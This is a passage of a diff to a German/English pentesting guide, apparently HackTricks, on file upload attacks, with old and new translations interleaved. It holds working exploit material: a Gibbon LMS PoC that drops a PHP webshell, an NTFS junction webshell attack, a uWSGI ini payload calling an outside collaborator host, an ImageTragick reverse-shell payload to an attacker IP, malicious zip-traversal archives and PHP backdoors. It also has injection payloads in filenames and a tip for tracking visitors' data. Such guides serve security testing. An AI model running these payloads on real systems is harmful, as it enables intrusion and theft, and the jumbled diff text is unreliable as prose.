3. Lade eine Datei mit **"." , "..", or "…" als Namen** hoch. Zum Beispiel: Unter Apache auf **Windows**, wenn die Anwendung die hochgeladenen Dateien im Verzeichnis "/www/uploads/" speichert, erzeugt der Dateiname "." eine Datei namens uploads in "/www/".
|
||||
4. Lade eine Datei hoch, die sich nur schwer löschen lässt, z. B. **"…:.jpg"** auf **NTFS**. (Windows)
|
||||
5. Lade unter **Windows** eine Datei mit **ungültigen Zeichen** wie `|<>*?”` im Namen hoch. (Windows)
|
||||
6. Lade unter **Windows** eine Datei mit **reservierten** (**verbotenen**) **Namen** hoch wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 und LPT9.
|
||||
- Versuche außerdem, eine **ausführbare Datei** (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die beim versehentlichen Öffnen durch das Opfer **Code ausführt**.
|
||||
|
||||
### Special extension tricks
|
||||
|
||||
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
Wenn du versuchst, Dateien auf einen **PHP server** hochzuladen, [schau dir den **.htaccess**-Trick an, um Code auszuführen](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Wenn du versuchst, Dateien auf einen **ASP server** hochzuladen, [schau dir den **.config**-Trick an, um Code auszuführen](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...)
|
||||
Die `.phar`-Dateien sind wie die `.jar` für Java, aber für PHP, und können **wie eine php-Datei verwendet werden** (mit php ausgeführt oder in ein Script inkludiert...).
|
||||
|
||||
The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
|
||||
Die `.inc`-Extension wird manchmal für PHP-Dateien verwendet, die nur zum **Importieren von Dateien** dienen. Daher könnte diese Extension zu einem Zeitpunkt zur Ausführung erlaubt worden sein.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
If you can upload a XML file into a Jetty server you can obtain [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
|
||||
Wenn du eine XML-Datei auf einen Jetty-Server hochladen kannst, kannst du [RCE erhalten, weil **neue *.xml and *.war automatisch verarbeitet werden**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Wie im folgenden Bild erwähnt: lade die XML-Datei nach `$JETTY_BASE/webapps/` hoch und erwarte die Shell!
|
||||
|
||||
.png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
Für eine detaillierte Untersuchung dieser Schwachstelle siehe die Originalforschung: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
|
||||
Remote Command Execution (RCE)-Schwachstellen können auf uWSGI-Servern ausgenutzt werden, wenn man die Möglichkeit hat, die `.ini`-Konfigurationsdatei zu verändern. uWSGI-Konfigurationsdateien verwenden eine spezifische Syntax, um "magic" Variablen, Platzhalter und Operatoren einzubinden. Besonders hervorgehoben ist der '@'-Operator, der als `@(filename)` verwendet wird und dazu dient, den Inhalt einer Datei einzuschließen. Unter den verschiedenen in uWSGI unterstützten schemes ist das "exec"-scheme besonders mächtig, da es erlaubt, Daten aus der Standardausgabe eines Prozesses zu lesen. Diese Funktion kann missbraucht werden für böswillige Zwecke wie Remote Command Execution oder Arbitrary File Write/Read, wenn eine `.ini`-Konfigurationsdatei verarbeitet wird.
|
||||
|
||||
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
|
||||
Betrachte das folgende Beispiel einer schadhaften `uwsgi.ini`-Datei, die verschiedene schemes demonstriert:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -156,22 +156,22 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
Die Ausführung der payload erfolgt während des Parsens der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst wird, muss der uWSGI-Prozess entweder neu gestartet werden (z. B. nach einem Crash oder aufgrund eines Denial of Service-Angriffs) oder die Datei muss auf auto-reload gesetzt sein. Die auto-reload-Funktion, falls aktiviert, lädt die Datei in definierten Intervallen neu, sobald Änderungen erkannt werden.
|
||||
Die Ausführung des payload erfolgt während des Parsings der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst wird, muss der uWSGI-Prozess entweder neu gestartet werden (möglicherweise nach einem Absturz oder aufgrund eines Denial of Service attack) oder die Datei muss auf auto-reload gesetzt sein. Die auto-reload-Funktion, falls aktiviert, lädt die Datei in festgelegten Intervallen neu, sobald Änderungen erkannt werden.
|
||||
|
||||
Es ist wichtig, die nachlässige Natur des Parsings der uWSGI-Konfigurationsdatei zu verstehen. Konkret kann die erwähnte payload in eine Binärdatei (z. B. ein Bild oder ein PDF) eingefügt werden, was den möglichen Exploit-Radius weiter erweitert.
|
||||
Es ist wichtig, die lockere Art und Weise zu verstehen, wie uWSGI Konfigurationsdateien geparst werden. Konkret kann der besprochene payload in eine Binärdatei (z. B. ein Bild oder eine PDF) eingefügt werden, wodurch der potenzielle Exploitbereich weiter ausgedehnt wird.
|
||||
|
||||
### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
|
||||
|
||||
Ein nicht authentifizierter Endpoint in Gibbon LMS erlaubt beliebiges Schreiben von Dateien innerhalb des Web-Roots, was zu pre-auth RCE durch Ablegen einer PHP-Datei führt. Verwundbare Versionen: bis einschließlich 25.0.01.
|
||||
Ein unauthentifizierter Endpoint in Gibbon LMS erlaubt arbitrary file write innerhalb des web root und führt zu pre-auth RCE durch Ablegen einer PHP-Datei. Vulnerable versions: up to and including 25.0.01.
|
||||
|
||||
- Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
|
||||
- Method: POST
|
||||
- Required params:
|
||||
- `img`: data-URI-ähnlicher String: `[mime];[name],[base64]` (der Server ignoriert type/name und dekodiert das Base64-Ende)
|
||||
- `img`: data-URI-like string: `[mime];[name],[base64]` (server ignoriert type/name und dekodiert den Tail mit base64)
|
||||
- `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`)
|
||||
- `gibbonPersonID`: any non-empty value is accepted (e.g., `0000000001`)
|
||||
|
||||
Minimaler PoC, um eine Datei zu schreiben und zurückzulesen:
|
||||
Minimales PoC, um eine Datei zu schreiben und wieder einzulesen:
|
||||
```bash
|
||||
# Prepare test payload
|
||||
printf '0xdf was here!' | base64
|
||||
@ -195,15 +195,15 @@ curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
|
||||
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
|
||||
```
|
||||
Hinweise:
|
||||
- Der Handler führt `base64_decode($_POST["img"])` aus, nachdem er an `;` und `,` aufgeteilt wurde, und schreibt dann die Bytes nach `$absolutePath . '/' . $_POST['path']`, ohne Dateiendung/Type zu validieren.
|
||||
- Der resultierende Code läuft als Webservice-Benutzer (z. B. XAMPP Apache unter Windows).
|
||||
- The handler performs `base64_decode($_POST["img"])` after splitting by `;` and `,`, then writes bytes to `$absolutePath . '/' . $_POST['path']` without validating extension/type.
|
||||
- Resulting code runs as the web service user (e.g., XAMPP Apache on Windows).
|
||||
|
||||
Referenzen für diesen Bug beinhalten die usd HeroLab advisory und den NVD-Eintrag. Siehe den Abschnitt References weiter unten.
|
||||
Als Referenzen für diesen Bug dienen das usd HeroLab advisory und der NVD-Eintrag. Siehe den Abschnitt References weiter unten.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
## **wget Datei-Upload/SSRF-Trick**
|
||||
|
||||
In manchen Fällen kann es vorkommen, dass ein Server **`wget`** verwendet, um **Dateien herunterzuladen**, und man die **URL** angeben kann. In diesen Fällen könnte der Code prüfen, dass die Extension der heruntergeladenen Dateien in einer Whitelist steht, um sicherzustellen, dass nur erlaubte Dateien heruntergeladen werden. Allerdings **lässt sich diese Prüfung umgehen.**\
|
||||
Die **maximale** Länge eines **Dateinamens** in **linux** beträgt **255**, jedoch kürzt **wget** die Dateinamen auf **236** Zeichen. You can **download a file called "A"*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"*232+".php"**.
|
||||
In einigen Fällen kann es vorkommen, dass ein Server **`wget`** verwendet, um **Dateien herunterzuladen** und Sie die **URL** angeben können. In solchen Fällen prüft der Code möglicherweise, dass die Erweiterung der heruntergeladenen Dateien in einer Whitelist enthalten ist, um sicherzustellen, dass nur erlaubte Dateien heruntergeladen werden. Diese Prüfung lässt sich jedoch **umgehen.**\
|
||||
Die **maximale** Länge eines **filename** in **linux** ist **255**, allerdings kürzt **wget** die filenames auf **236** Zeichen. Sie können **download a file called "A"*232+".php"+".gif"**, dieser Dateiname wird die **check** **bypass** (in diesem Beispiel ist **".gif"** eine **valid** extension), aber `wget` wird die Datei in **"A"*232+".php"** umbenennen.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -226,35 +226,60 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Beachte, dass eine **andere Option**, an die du vielleicht denkst, um diese Prüfung zu umgehen, darin besteht, den **HTTP-Server auf eine andere Datei umzuleiten**, sodass die ursprüngliche URL die Prüfung umgeht und wget dann die weitergeleitete Datei mit dem neuen Namen herunterlädt. Das **funktioniert nicht**, **es sei denn** wget wird mit dem **Parameter** `--trust-server-names` verwendet, da **wget die weitergeleitete Seite mit dem im ursprünglichen URL angegebenen Dateinamen herunterladen wird**.
|
||||
Beachte, dass eine **andere Option**, an die du vielleicht denkst, um diese Überprüfung zu umgehen, darin besteht, den **HTTP server so umzuleiten, dass er auf eine andere Datei verweist**, sodass die ursprüngliche URL die Prüfung umgeht — wget würde dann jedoch die umgeleitete Datei mit dem neuen Namen herunterladen. Das **funktioniert nicht**, **es sei denn**, wget wird mit dem **Parameter** `--trust-server-names` verwendet, da **wget die umgeleitete Seite mit dem im ursprünglichen URL angegebenen Dateinamen herunterlädt**.
|
||||
|
||||
## Werkzeuge
|
||||
### Upload-Verzeichnis über NTFS junctions umgehen (Windows)
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ist ein leistungsstarkes Tool, das Pentesters und Bug Hunters beim Testen von File-Upload-Mechanismen unterstützt. Es nutzt verschiedene bug bounty Techniken, um den Prozess der Identifizierung und Ausnutzung von Schwachstellen zu vereinfachen und eine gründliche Bewertung von Webanwendungen zu ermöglichen.
|
||||
(Für diesen Angriff benötigst du lokalen Zugriff auf die Windows-Maschine) Wenn Uploads unter benutzerspezifischen Unterordnern auf Windows gespeichert werden (z. B. C:\Windows\Tasks\Uploads\<id>\) und du die Erstellung/Löschung dieses Unterordners kontrollierst, kannst du ihn durch eine directory junction ersetzen, die auf einen sensiblen Ort zeigt (z. B. das webroot). Nachfolgende Uploads werden in den Zielpfad geschrieben und ermöglichen Codeausführung, wenn das Ziel serverseitigen Code interpretiert.
|
||||
|
||||
### Korruption von Upload-Indizes durch snprintf-Eigenheiten (historisch)
|
||||
Beispielablauf, um Uploads in das XAMPP webroot umzuleiten:
|
||||
```cmd
|
||||
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
|
||||
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
|
||||
|
||||
Einige veraltete Upload-Handler, die `snprintf()` oder ähnliches verwenden, um Multi-File-Arrays aus einem Single-File-Upload zu bauen, können dazu gebracht werden, die `_FILES`-Struktur zu fälschen. Aufgrund von Inkonsistenzen und Abschneidungen im `snprintf()`-Verhalten kann ein sorgfältig gestalteter Einzel-Upload auf der Serverseite als mehrere indizierte Dateien erscheinen und Logik verwirren, die eine strikte Form annimmt (z. B. als Multi-File-Upload behandelt wird und unsichere Pfade einschlägt). Obwohl heute eher Nischenfälle, taucht dieses „index corruption“-Muster gelegentlich in CTFs und älterem Code wieder auf.
|
||||
:: 2) Remove the created folder and create a junction to webroot
|
||||
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
|
||||
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
|
||||
|
||||
## Vom File-Upload zu anderen Schwachstellen
|
||||
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
|
||||
:: Minimal PHP webshell for testing
|
||||
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
|
||||
|
||||
- Setze **filename** auf `../../../tmp/lol.png` und versuche, einen **path traversal** zu erreichen
|
||||
- Setze **filename** auf `sleep(10)-- -.jpg` und möglicherweise eine **SQL injection** zu erreichen
|
||||
- Setze **filename** auf `<svg onload=alert(document.domain)>`, um XSS zu erreichen
|
||||
- Setze **filename** auf `; sleep 10;`, um auf einige command injection zu testen (mehr [command injections tricks here](../command-injection.md))
|
||||
:: 4) Trigger
|
||||
curl "http://TARGET/shell.php?cmd=whoami"
|
||||
```
|
||||
Notes
|
||||
- mklink /J creates an NTFS directory junction (reparse point). The web server’s account must follow the junction and have write permission in the destination.
|
||||
- This redirects arbitrary file writes; if the destination executes scripts (PHP/ASP), this becomes RCE.
|
||||
- Defenses: don’t allow writable upload roots to be attacker‑controllable under C:\Windows\Tasks or similar; block junction creation; validate extensions server‑side; store uploads on a separate volume or with deny‑execute ACLs.
|
||||
|
||||
## Tools
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
|
||||
|
||||
### Corrupting upload indices with snprintf quirks (historical)
|
||||
|
||||
Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.
|
||||
|
||||
## From File upload to other vulnerabilities
|
||||
|
||||
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
|
||||
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
|
||||
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
|
||||
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
|
||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Probiere **different svg payloads** von [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Wenn du dem Webserver angeben kannst, ein Image von einer URL zu holen, könntest du versuchen, ein [SSRF](../ssrf-server-side-request-forgery/index.html) auszunutzen. Wenn dieses **image** an einem **öffentlichen** Ort gespeichert wird, könntest du auch eine URL von [https://iplogger.org/invisible/](https://iplogger.org/invisible/) angeben und **Informationen jedes Besuchers stehlen**.
|
||||
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
|
||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- Speziell gestaltete PDFs zu XSS: Die [folgende Seite zeigt, wie man **PDF-Daten injiziert, um JS-Ausführung zu erhalten**](../xss-cross-site-scripting/pdf-injection.md). Wenn du PDFs hochladen kannst, könntest du ein PDF vorbereiten, das beliebiges JS gemäß den dortigen Anweisungen ausführt.
|
||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content, um zu prüfen, ob der Server ein **Antivirus** hat
|
||||
- Prüfe, ob es eine **Größenbegrenzung** beim Hochladen von Dateien gibt
|
||||
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
|
||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
|
||||
- Check if there is any **size limit** uploading files
|
||||
|
||||
Hier ist eine Top-10-Liste von Dingen, die du durch Upload erreichen kannst (von [hier](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Stored XSS / SSRF / XXE
|
||||
@ -279,34 +304,34 @@ https://github.com/portswigger/upload-scanner
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
|
||||
- **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
Siehe [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) für andere Dateitypen.
|
||||
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
|
||||
|
||||
## Zip/Tar-Datei, die beim Upload automatisch entpackt wird
|
||||
## Zip/Tar File Automatically decompressed Upload
|
||||
|
||||
Wenn du eine ZIP hochladen kannst, die auf dem Server entpackt wird, kannst du zwei Dinge tun:
|
||||
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
|
||||
|
||||
### Symlink
|
||||
|
||||
Lade ein Archiv hoch, das Symlinks zu anderen Dateien enthält; beim Zugriff auf die entpackten Dateien greifst du auf die verlinkten Dateien zu:
|
||||
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Dekomprimieren in verschiedene Ordner
|
||||
### In verschiedene Ordner dekomprimieren
|
||||
|
||||
Die unerwartete Erstellung von Dateien in Verzeichnissen während der Dekompression ist ein erhebliches Problem. Obwohl man zunächst annehmen könnte, dass diese Konfiguration Schutz gegen OS-level command execution durch bösartige Datei-Uploads bietet, können die hierarchische Kompressionsunterstützung und die directory traversal-Fähigkeiten des ZIP-Archivformats ausgenutzt werden. Dadurch können Angreifer Beschränkungen umgehen und aus sicheren Upload-Verzeichnissen entkommen, indem sie die Dekompressionsfunktionalität der Zielanwendung manipulieren.
|
||||
Die unerwartete Erstellung von Dateien in Verzeichnissen während der Dekompression ist ein erhebliches Problem. Trotz anfänglicher Annahmen, dass diese Konfiguration vor OS-level command execution durch bösartige uploads schützen könnte, lassen sich die hierarchische Kompressionsunterstützung und die directory traversal-Fähigkeiten des ZIP-Archivformats ausnutzen. Dies ermöglicht Angreifern, Beschränkungen zu umgehen und aus sicheren upload directories zu entkommen, indem sie die Dekompressionsfunktionalität der Zielanwendung manipulieren.
|
||||
|
||||
Ein automatisierter Exploit zum Erstellen solcher Dateien ist verfügbar unter [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Das Tool kann wie folgt verwendet werden:
|
||||
Ein automatisierter exploit zum Erstellen solcher Dateien ist verfügbar unter [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Das Tool kann wie folgt verwendet werden:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
Außerdem ist der **symlink trick with evilarc** eine Option. Wenn das Ziel darin besteht, eine Datei wie `/flag.txt` anzusprechen, sollte ein Symlink zu dieser Datei in Ihrem System erstellt werden. Dadurch stößt evilarc während seiner Ausführung nicht auf Fehler.
|
||||
Außerdem ist der **symlink trick with evilarc** eine Option. Wenn das Ziel eine Datei wie `/flag.txt` ist, sollte ein symlink zu dieser Datei in Ihrem System erstellt werden. Damit verhindert man, dass evilarc während seiner Ausführung auf Fehler stößt.
|
||||
|
||||
Unten ist ein Beispiel für Python-Code, mit dem eine bösartige zip-Datei erstellt wird:
|
||||
Unten ist ein Beispiel für Python-Code, mit dem eine bösartige ZIP-Datei erstellt wird:
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
@ -325,11 +350,11 @@ zip.close()
|
||||
|
||||
create_zip()
|
||||
```
|
||||
**Ausnutzen der Kompression für file spraying**
|
||||
**Missbrauch von Kompression für file spraying**
|
||||
|
||||
Für weitere Details **siehe den Originalbeitrag unter**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Creating a PHP Shell**: PHP-Code wird geschrieben, um Befehle auszuführen, die über die Variable `$_REQUEST` übergeben werden.
|
||||
1. **Erstellen einer PHP Shell**: PHP-Code wird geschrieben, um Befehle auszuführen, die über die `$_REQUEST`-Variable übergeben werden.
|
||||
|
||||
```php
|
||||
<?php
|
||||
@ -339,14 +364,14 @@ system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
2. **File Spraying and Compressed File Creation**: Mehrere Dateien werden erstellt und ein zip-Archiv wird zusammengestellt, das diese Dateien enthält.
|
||||
2. **File Spraying und Erstellung komprimierter Dateien**: Mehrere Dateien werden erstellt und ein zip-Archiv wird zusammengestellt, das diese Dateien enthält.
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Modifikation mit einem Hex-Editor oder vi**: Die Namen der Dateien innerhalb des zip werden mit vi oder einem Hex-Editor verändert, wobei "xxA" durch "../" ersetzt wird, um Directory Traversal durchzuführen.
|
||||
3. **Änderung mit einem Hex-Editor oder vi**: Die Namen der Dateien im zip werden mithilfe von vi oder einem Hex-Editor verändert, indem "xxA" in "../" geändert wird, um Verzeichnisse zu traversieren.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -356,40 +381,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
|
||||
## ImageTragic
|
||||
|
||||
Lade diesen Inhalt mit einer Bild-Dateiendung hoch, um die Schwachstelle **(ImageMagick , 7.0.1-1)** auszunutzen (aus dem [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
Lade diesen Inhalt mit einer Bild-Erweiterung hoch, um die Verwundbarkeit **(ImageMagick , 7.0.1-1)** auszunutzen (siehe den [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||||
pop graphic-context
|
||||
```
|
||||
## Einbetten einer PHP-Shell in PNG
|
||||
## Einbetten einer PHP shell in eine PNG-Datei
|
||||
|
||||
Das Einbetten einer PHP-Shell in den IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungsoperationen effektiv umgehen. Die Funktionen `imagecopyresized` und `imagecopyresampled` aus PHP-GD sind in diesem Zusammenhang besonders relevant, da sie jeweils häufig zum Skalieren bzw. Resampling von Bildern verwendet werden. Dass die eingebettete PHP-Shell von diesen Operationen unbeeinträchtigt bleiben kann, ist für bestimmte Anwendungsfälle ein bedeutender Vorteil.
|
||||
Das Einbetten einer PHP shell in den IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungsoperationen effektiv umgehen. Die Funktionen `imagecopyresized` und `imagecopyresampled` von PHP-GD sind in diesem Kontext besonders relevant, da sie häufig zum Resizing bzw. Resampling von Bildern verwendet werden. Die Fähigkeit der eingebetteten PHP shell, von diesen Operationen unberührt zu bleiben, ist für bestimmte Anwendungsfälle ein wesentlicher Vorteil.
|
||||
|
||||
Eine detaillierte Untersuchung dieser Technik, einschließlich Methodik und potenzieller Anwendungen, wird im folgenden Artikel beschrieben: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Implikationen.
|
||||
Eine detaillierte Untersuchung dieser Technik, inklusive Methodik und potenzieller Anwendungen, findet sich im folgenden Artikel: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Implikationen.
|
||||
|
||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
Mehr Informationen unter: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Polyglot-Dateien
|
||||
|
||||
Polyglot-Dateien dienen als einzigartiges Werkzeug in der Cybersicherheit und agieren wie Chamäleons, die gleichzeitig in mehreren Dateiformaten gültig sein können. Ein interessantes Beispiel ist ein [GIFAR](https://en.wikipedia.org/wiki/Gifar), ein Hybrid, der sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien sind nicht auf diese Kombination beschränkt; Kombinationen wie GIF und JS oder PPT und JS sind ebenfalls möglich.
|
||||
Polyglot-Dateien dienen als einzigartiges Werkzeug in der Cybersicherheit und wirken wie Chamäleons, die gleichzeitig in mehreren Dateiformaten gültig existieren können. Ein interessantes Beispiel ist ein [GIFAR](https://en.wikipedia.org/wiki/Gifar), ein Hybrid, der sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien sind nicht auf dieses Paar beschränkt; Kombinationen wie GIF und JS oder PPT und JS sind ebenfalls möglich.
|
||||
|
||||
Der Hauptnutzen von Polyglots liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien nach Typ filtern. Übliche Praxis in vielen Anwendungen ist es, nur bestimmte Dateitypen für Uploads zuzulassen — wie JPEG, GIF oder DOC — um das Risiko potenziell schädlicher Formate (z. B. JS, PHP oder Phar) zu reduzieren. Ein Polyglot kann jedoch, indem er die strukturellen Kriterien mehrerer Dateitypen erfüllt, diese Einschränkungen unauffällig umgehen.
|
||||
Der Hauptnutzen von Polyglot-Dateien liegt darin, Sicherheitsmaßnahmen zu umgehen, die Dateien anhand ihres Typs filtern. Übliche Praxis in vielen Anwendungen ist es, nur bestimmte Dateitypen für Uploads zu erlauben — etwa JPEG, GIF oder DOC — um das Risiko potenziell schädlicher Formate (z. B. JS, PHP oder Phar) zu reduzieren. Ein Polyglot kann jedoch, indem es den strukturellen Kriterien mehrerer Dateitypen entspricht, diese Beschränkungen heimlich umgehen.
|
||||
|
||||
